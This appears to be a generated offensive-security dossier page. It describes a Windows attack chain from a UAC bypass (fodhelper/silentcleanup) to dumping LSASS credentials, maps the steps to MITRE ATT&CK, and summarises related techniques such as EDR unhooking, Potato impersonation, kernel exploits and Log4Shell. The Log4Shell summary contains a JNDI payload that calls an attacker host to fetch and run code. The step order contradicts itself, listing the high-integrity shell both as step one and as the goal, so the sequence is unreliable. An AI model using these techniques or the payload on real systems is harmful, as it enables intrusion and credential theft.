UAC bypass → elevated admin on a workstation

§ Context

Assumed environment: foothold as a user in the local Administrators group on a Windows endpoint (typical for dev / IT users) but currently running at medium integrity.

§ Steps

1. 01
   High-integrity shell as adminInitial Access

   T1078— Valid Accounts
2. 02
   Medium-integrity admin shellInitial Access

   T1078— Valid Accounts
3. 03
   Trigger autoElevate targetExecution

   T1059— Command and Scripting Interpreter
4. 04
   Pick a UAC bypass (fodhelper / silentcleanup)Privilege Escalation

   W-UAC-BYPASS— UAC Bypass
5. 05
   Dump LSASS for cached credsCredential Access

   W-LSASS-PROCDUMP— LSASS via procdump / comsvcs.dll

§ References

• T1078Valid Accounts
• T1059Command and Scripting Interpreter

§ Frequently asked

What is the "UAC bypass → elevated admin on a workstation" attack path?

Standard medium-integrity admin user runs fodhelper / silentcleanup / computerdefaults auto-elevate bypass — gets a high-integrity session without a UAC prompt. It chains 5 steps drawn from real-world offensive-security techniques.

What starting position does this attack require?

The first step is High-integrity shell as admin (T1078) — a initial access primitive. Assumed environment: foothold as a user in the local Administrators group on a Windows endpoint (typical for dev / IT users) but currently running at medium integrity.

What is the final impact of this kill-chain?

The final step lands on Dump LSASS for cached creds (W-LSASS-PROCDUMP), which falls under Credential Access. From here, an operator typically pivots into post-exploitation or maintains persistence.

How can defenders detect or prevent this attack?

Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers

• Shared techniques3

  BYOVD → kernel-level disable of EDR callbacks

  From local admin, load a signed-but-vulnerable driver. Use its kernel primitive to walk the EDR's PsSetCreateProcessNotifyRoutine entries and unlink them — EDR stops receiving events while still 'running'.

• Shared techniques3

  Service account → SYSTEM via named-pipe impersonation

  Service-context shell has SeImpersonatePrivilege. Use Potato-family tools (Juicy / Rogue / Print / God) to coerce SYSTEM to authenticate to an attacker-controlled named pipe, then impersonate the token.

• Shared techniques2

  io_uring UAF → modprobe_path overwrite → root

  Use an io_uring UAF to land arbitrary kernel write, repoint /proc/sys/kernel/modprobe to an attacker binary, then trigger a kernel auto-modprobe — runs the binary as root.

• Shared techniques2

  nf_tables UAF → kernel R/W → root

  CVE-2024-1086-class nf_tables UAF reachable from a user namespace. Win the race with userfaultfd to land an attacker object in the freed slot, build a kernel R/W primitive, overwrite the current task's cred struct.

• Shared techniques2

  Process doppelgänging → spawn signed image with attacker bytes

  Use NTFS transactional file APIs to overlay an attacker image during process creation. The final mapped process differs from the on-disk file — AV sees only the legit signed image at scan time.

• Shared techniques2

  Log4Shell (CVE-2021-44228) → RCE → lateral

  Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.